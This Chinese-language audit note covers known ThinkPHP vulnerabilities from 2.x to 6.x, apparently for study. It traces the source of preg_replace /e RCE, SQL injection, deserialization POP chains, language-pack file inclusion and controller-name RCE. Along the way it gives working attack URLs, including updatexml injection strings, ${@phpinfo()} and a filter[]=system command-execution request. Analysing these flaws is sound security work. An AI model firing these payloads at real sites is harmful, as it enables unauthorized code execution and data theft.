在开始前,学习ThinkPHP相关漏洞需要掌握10.PHP反序列化漏洞和9.PHP代码审计,否则会非常吃力,审计起来
环境安装
稳定版本下载
1 | composer create-project topthink/think tp |
基础
URL和路由:https://blog.csdn.net/lthirdonel/article/details/88775620 thinkphp内置了几种方法,在 ThinkPHP/Common/functions.php,比如I(),M()等等
1 | A 快速实例化Action类库 |
ThinkPHP 2.x
preg_replace /e 模式代码执行漏洞
代码需要定位到 ThinkPHP\Lib\Think\Util\Dispatcher.class.php Pasted image 20260304191734.png 这里会发现
1 | $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx)); |
在 ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,Dispatcher类的dispatch方法里 Dispatcher.class.php 文件负责接收用户发送的请求,并根据路由规则将请求分发到相应的控制器(Controller)和方法(Action)。它会解析 URL,并根据定义的路由规则进行匹配,然后确定要执行的控制器和方法。 根据ThinkPHP对路由的解析,对这部分代码进行调试和分析
1 | http://xx.xx.xx.xx/index.php/模块/控制器/操作 |
首先,通过 C(‘URL_MODEL’) 获取 URL 的模式,然后根据不同的模式进行不同的处理,这里是默认模式 Pasted image 20260304192408.png 接下来,如果配置文件中开启了子域名部署(APP_SUB_DOMAIN_DEPLOY 为真),则会根据规则对子域名进行路由处理。这里为false,直接跳过了 Pasted image 20260304192422.png 然后根据配置文件中的设置获取 URL 的分隔符 (URL_PATHINFO_DEPR),并调用 getPathInfo() 函数来分析 URL 的 PATHINFO 信息 Pasted image 20260304192453.png 接下来是路由检测和解析的部分。首先会调用 routerCheck() 函数检测是否有自定义的路由规则。如果没有自定义的路由规则,则按照默认规则进行调度。它会先根据 URL 分隔符将 $_SERVER['PATH_INFO'] 进行切割,得到一个路径的数组 $paths Pasted image 20260304192533.png 然后到preg_replace函数 Pasted image 20260304192543.png 在preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串 上面正则表达式可以简化为\w+/([\^\/]),即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); |
在PHP当中,{}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如{a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行 所以只要构造成这样:
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/${phpinfo()}'); |
漏洞攻击姿势
1 | http://127.0.0.1/index.php/a/b/c/${@phpinfo()} |
后面版本的更新中,preg_replace被替换了: 输入的${phpinfo()}被当成了字符串被strip_tags()处理了
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=strip_tags(\'\\2\');', implode($depr,$paths)); |
ThinkPHP 3.x
ThinkPHP 3.x SQL注入漏洞
注意:ThinkPHP < 3.2.4,与 l() 方法有关
where注入
1 | index.php?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)%23 |
exp注入
1 | index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1) |
bind注入
先配置一个控制器
1 | public function index() |
测试
1 | http://127.0.0.1/index.php?id[0]=bind&password=admin123&id[1]=0 and updatexml(1,concat(0x7e,database(),0x7e),1) |
orderby注入
先在2.3.4跟新的地方,发现parseOrder存在大量跟新,漏洞大概率出现在这 Pasted image 20260304200504.png 控制器
1 | public function index(){ |
M只是实例化users对象,不管了,where也不是我们的利用点,我们也没对其进行操作,因此也跳过 疑问: order($order) 是干嘛的?,只知道是给 $order 赋值
1 | username=admin&order=1 –>find()–>select()–>buildSelectSql()–>parseSql() |
在这里找到了parseOrder Pasted image 20260304200545.png 跟进 parseOrder
1 | protected function parseOrder($order) |
这里首先会判断$order是不是数组,如果不是,返回拼接,如果$order不为空,则拼接ORDER BY 因为没有过滤,造成了sql注入 注入
1 | index.php?username=admin&order=1 and updatexml(1,concat(0x3a,database()),1) |
update注入
实际上就是bind注入
3.2.3 反序列化漏洞
写一个控制器
1 | public function index(){ |
然后漏洞点在 __destruct,这个是入口,因为这个魔术方法当反序列化时会最先调用 Pasted image 20260304201508.png 然后发现 Pasted image 20260304201515.png 接着找找哪里会调用到 destroy,在 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php EXP
1 |
|
进行绕过
1 | index.php?id=updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,database/*,*/(.*%20ASC,&/),0x7e),1) |
ThinkPHP 2.x/3.0 远程代码执行漏洞
ThinkPHP 缓冲区函数导致 getshell
注意:涉及 Cache 类的,开发中需要谨慎使用,ThinkPHP 依然存在
ThinkPHP 3.2.4 SQL注入漏洞
版本需要:ThinkPHP <= 3.2.4
CVE-2018-18546
CVE-2018-18529
CVE-2018-10225
ThinkPHP 5.x
ThinkPHP 5.0.24 反序列化漏洞
实验环境准备,我这里准备的是 5.0.24,然后编写一个入口
1 |
|
链子总结
第一步,先找到 think\process\pipes\Windows::__destruct(),这是起点,当对象被销毁时,他会调用 removeFiles() 第二步,removeFiles() -> file_exists(),在该方法中,会检查 $this->files,如果我们把一个对象传给 file_exists,他会尝试将对象转换成字符串,从而触发该对象的 __toString() 第三步,think\model\Merge::__toString()/think\Model,触发类的__toString后,会进一步的调用toJson()->toArray() 第四步,toArray()的逻辑陷阱,在toArray中,程序会遍历属性并处理,如果攻击者构造了特定的属性名,程序会进入动态调用分支,触发__call() 第五步,think\Request::__call(),这是一个关键跳板,__call 最终会调用 isAjax() 或其他方法,并结合filter功能 最后,就是代码执行,利用Requests类中的过滤机制filterValue,攻击者可以将自定义参数传递给call_user_func,从而实现RCE远程代码执行
不同版本差异
链子原理
反序列化第一步,先找到 __destruct() Pasted image 20260304220346.png 这里在 thinkphp/library/think/process/pipes/Windows.php#__desturct() 发现自己调用了 $this->removeFiles() 方法 Pasted image 20260304220409.png 跟进去查看这个方法,发现删除了临时的文件 Pasted image 20260304220502.png 并且这里的 $this->files 是可控的 Pasted image 20260304220516.png 经过 file_exists($filename) 可以触发 __tostring(),这里存在一个任意文删除 全局搜索 __tostring() Pasted image 20260304220643.png 这里选择的是Model.php里面的**tostring方法,跟进其调用的toJson() Pasted image 20260304220703.png 继续跟进 $this->toArray(),发现这里的可控参数比较多 Pasted image 20260304220930.png 这里可以找到一个触发 **call的地方,此时,需要控制value 为一个带有 __call 的类对象,往上查找,value是来自这 ![[Pasted image 20260304221008.png]] 其中,参数modelRelation = $this->relation(),实际上就是 think\Model类任意方法的返回结果。这里选择返回结果简单可控的getError 方法
1 | public function getError() |
在 getRelationData 方法里,要进入第一个if语句才能赋值成想要的类 Pasted image 20260304221100.png 层层分析,要满足
1 | $this->append = ['getError']; |
全局搜索 __call,这里选择的是 console/Output.php 的Output类 Pasted image 20260304221140.png
1 | public function __call($method, $args) |
这个方法调用了 call_user_func_array 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入 在第一个 call_user_func_array 中调用了block方法
1 | protected function block($style, $message) |
继续跟进writeln
1 | public function writeln($messages, $type = self::OUTPUT_NORMAL) |
$this->handle 可控,可以修改为某个类,执行这个类的write 全局搜索 write 方法进一步利用,跟进 thinkphp/library/think/session/driver/Memcached.php
1 | public function write($sessID, $sessData) |
这个$this->handle也是可控的,全局搜索set方法,找到 thinkphp/library/think/cache/driver/File.php
1 | public function set($name, $value, $expire = null) |
这里存在一个php文件写入,虽然前面有exit()避免后面的数据被执行,但是这里可以使用伪协议绕过 这里存在一个问题,只能控制文件名,写入为文件的数据来自$value, 根据链子传参,$value= true ,是不可控的 而且在windows环境下,文件名存在限制 往下存在setTagItem调用,传参是文件名 Pasted image 20260304221416.png 跟进查看:
1 | protected function setTagItem($name) |
这个函数会再次调用set()方法,并且set方法的value是来自文件名$name,也就是说可以把前面的文件名写入到文件里 如果第一次调用set方法的时候把恶意代码写到文件名里,第二此调用set的时候就能够把文件名的内容写入到新的php文件里 最终POP链
1 |
|
ThinkPHP 5.0.10 cacheFile变量文件包含
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错) 官方发布的更新: Pasted image 20260304205849.png 查看这个文件的对应位置 template/driver/File.php Pasted image 20260304210430.png 发现这里可能会存在变量覆盖–> extract(),EXTR_OVERWRITE 模式是默认值,如果有冲突,则覆盖已有的变量 如果 $cacheFile可控,将导致文件包含漏洞出现 随便传入参数调试 调用栈:
1 | File.php:45, think\template\driver\File->read() |
到这个 read() 函数 Pasted image 20260304210517.png $var 是传入的get参数,这里是数组 然后进入if,执行了 extract() 函数,使得这个数组变为: $a=1 因为这里的 $cacheFile 前面控制不了,可以在这里进行变量覆盖修改它的值 传参数试试:
1 | ?cacheFile=123 |
ThinkPHP 5.x 远程代码执行漏洞 1
5.0.13 远程代码执行
该漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生
- 5.0.7<=ThinkPHP5<=5.0.22 5.0.23官方修复:添加了对控制器名的检查 Pasted image 20260304212233.png 默认情况下,可以使用路由兼容模式 s 参数,访问控制器的内容 Pasted image 20260304214102.png 比如说
1 | http://site/?s=模块/控制器/方法/参数/参数值 |
所以我们
1 | http://127.0.0.1/?s=index/index/index |
在这个方法里调用了 routeCheck进行了路由检查 Pasted image 20260304214214.png 跟进去
1 | run()-->routeCheck() |
到了这里,这个方法对s传入的控制器/方法/参数进行解析 这里用了/对传入的字符串进行分割 Pasted image 20260304214237.png 分割后得到 Pasted image 20260304214252.png Pasted image 20260304214257.png 解析完这个后返回到run() 调用了 exec() Pasted image 20260304214310.png 跟进
1 | run()-->exec() |
Pasted image 20260304214327.png 继续跟进
1 | run()-->exec()-->module() |
这里可以看到官方修改的部分 Pasted image 20260304214351.png 这里是根据刚刚那个划分出来的数组进行分别处理,[1]为控制器,[2]为操作名 后面的就是调用这个控制器对应的操作 Pasted image 20260304214410.png 整个过程下来,没有对控制器名进行任何检查,可以调用任意控制器的任意方法(已经加载的类) 下面的是可以利用的
1 | ?s=index/think\config/get&name=database.username # 获取配置信息 |
5.1.x 远程代码执行
这里实验版本为 5.1.30,漏洞版本都差不多,都是没有对控制器名进行检查 测试调试为
1 | ?s=index/index/index |
run()方法先进行初始化,然后调用 routeCheck() Pasted image 20260304214950.png 跟进
1 | run() -> routeCheck() |
Pasted image 20260304215009.png 在这里获取到s传来的参数,即 模块/控制器/方法 然后调用check(),对路由进行处理 Pasted image 20260304215029.png 跟进
1 | run() --> routeCheck() -->check() |
Pasted image 20260304215120.png 在这里,路由的/被替换成’| ,即变成index|index|index 来到think/route/dispatch/Module.php
1 | run() --> init() -->init() |
Pasted image 20260304215241.png 这里解析出控制器名和操作名,接下来就是实例化然后执行
1 | think\route\dispatch\Module->exec() |
Pasted image 20260304215259.png 整个过程中没有对控制器名进行检查,从而导致该漏洞 可利用的控制器:
1 | ?s=index/\think\Request/input&filter[]=system&data=pwd |
ThinkPHP 5.x 远程代码执行漏洞 2
5.0.x
5.1.x
ThinkPHP 5 SQL 注入漏洞
注意:风险方法,使用中需要做好过滤,这里以thinkphp 5.0.13为例子
paraData 方法
1 | http://127.0.0.1/index.php?name[0]=inc&&name[1]=updatexml(1,concat(0x7,database(),0x7e),1)&name[2]=aaa |
paraArrayData 方法
1 | http://127.0.0.1/index.php?password[0]=point&password[1]=1&password[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&password[3]=0 |
parseWhereItem 方法
parseOrder 方法
ThinkPHP 6.x
ThinkPHP 6.x 任意文件包含(6.0.1~6.0.13,5.0.x,5.1.x)
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,和6.0.14版本比较,发现官方删除了Lang.php的detect函数 Pasted image 20260305174812.png LoadLangPack.php的detect函数也有修改,在 vendor/topthink/framework/src/think/middleware/LoadLangPack.php 下面 Pasted image 20260305175132.png 分析这个 detect(),这个函数首先是从http请求中的三个地方获取数据,然后转成小写字母保存到 $langSet中,然后如果满足if条件,就将$langSet保存到range中返回 Pasted image 20260305175228.png 全局查找detect()的引用,找到了Lang.php的handle函数,正是加载语言包的地方,查看handle()
1 | public function handle($request, Closure $next) |
在函数第一条代码中,就调用了,detect()方法,环境复线,这里需要开启多语言支持
1 | /?lang=../../../../../public/test |
ThinkPHP 6.0.0/6.0.1 任意文件写入
编写一个控制器
1 |
|
修改 /app/middleware.php 文件如下,开启Session功能,这三个注释都关掉 Pasted image 20260305181105.png 对比6.0.1和6.0.2,官方修改了sessionid的检查,添加了ctype_alnum 函数验证$id只能是字母和数字或字母数字的组合
ThinkPHP 6.0.0/6.0.15 反序列化漏洞
编写一个入口点
1 |
|
全局搜索 __destruct Pasted image 20260305181949.png 尝试寻找其他入口,查看 vendor/topthink/think-orm/src/Model.php 这个 Pasted image 20260305182031.png 这里的 $this->lazySave 可控,可以进入 $this->save(),接着跟进 $save Pasted image 20260305184145.png 这可以控制$this->exists使得函数调用$this->updateData(),跟进$this->updateData() Pasted image 20260305184248.png 跟进checkAllowFields() Pasted image 20260305184316.png Pasted image 20260305184332.png 这里存在一个字符串拼接可以触发任意类的toString,这里后面就可以使用TP5.1.x后半段的链子了,全局搜索toString 找到vendor/topthink/think-orm/src/model/concern/Conversion.php,最后的 exp
1 |
|
反序列化总结
反序列化__destruct入口就那4-5个,常用的是这两个 think/process/pipes/Windows.php 和 thinkphp/library/think/Process.php 上面提到的几条利用链,可以小记一下,但是 vendor/topthink/think-orm/src/model/concern/Attribute.php 的 getValue 方法在 TP6 里面不能用了,需要寻找其他利用方法 Request.php中很多方法调用了filterValue,而该方法中就存在可利用的 call_user_func函数,反序列化结尾的利用可以考虑这里,php能代码执行的函数
ThinkPHP 5.0.x 核心链条(RCE)
通常涉及 Output 类和 HasOne / BelongsTo 关联查询类。
- 入口点:
think\process\pipes\Windows类的__destruct()方法。该方法会调用close(),进而调用removeFiles() - 触发点:在
removeFiles()中,通过file_exists($filename)触发变量的字符串转换,从而调用某个类的__toString() - 跳转点:指向
think\Model(或其子类),触发其__toString(),进而进入toJson()->toArray() - 命令执行:在
toArray()中,利用 append 属性触发__call(),或者通过修改error属性并结合Relation类的关联逻辑,最终通过call_user_func执行任意代码
ThinkPHP 5.0.24 反序列化
第一步,先找到 think\process\pipes\Windows::__destruct(),这是起点,当对象被销毁时,他会调用 removeFiles() 第二步,removeFiles() -> file_exists(),在该方法中,会检查 $this->files,如果我们把一个对象传给 file_exists,他会尝试将对象转换成字符串,从而触发该对象的 __toString() 第三步,think\model\Merge::__toString()/think\Model,触发类的__toString后,会进一步的调用toJson()->toArray() 第四步,toArray()的逻辑陷阱,在toArray中,程序会遍历属性并处理,如果攻击者构造了特定的属性名,程序会进入动态调用分支,触发__call() 第五步,think\Request::__call(),这是一个关键跳板,__call 最终会调用 isAjax() 或其他方法,并结合filter功能 最后,就是代码执行,利用Requests类中的过滤机制filterValue,攻击者可以将自定义参数传递给call_user_func,从而实现RCE远程代码执行
ThinkPHP 5.1.x / 6.0.x 链条(RCE)
- 入口点:同样通常是 Windows 类的
__destruct() - 字符串触发:通过
file_exists触发__toString() - 核心跳板:使用
think\model\concern\Conversiontrait中的__toString() - Sink 点 (受力点):
- 5.1.x:通过
Conversion -> toArray() -> getAttr() -> getValue()。在 getValue 中可以调用动态闭包或 call_user_func。 - 6.0.x:路径类似,但由于 6.0 引入了更多的类型检查,通常需要配合 SerializableClosure(如果环境允许)或者寻找特定的
__call实现。
- 5.1.x:通过
References
ThinkPHP 代码审计 | Tree’s Blog Thinkphp5 RCE总结 - Y4er的博客 THINKPHP-poc-collection · HacKerQWQ’s Studio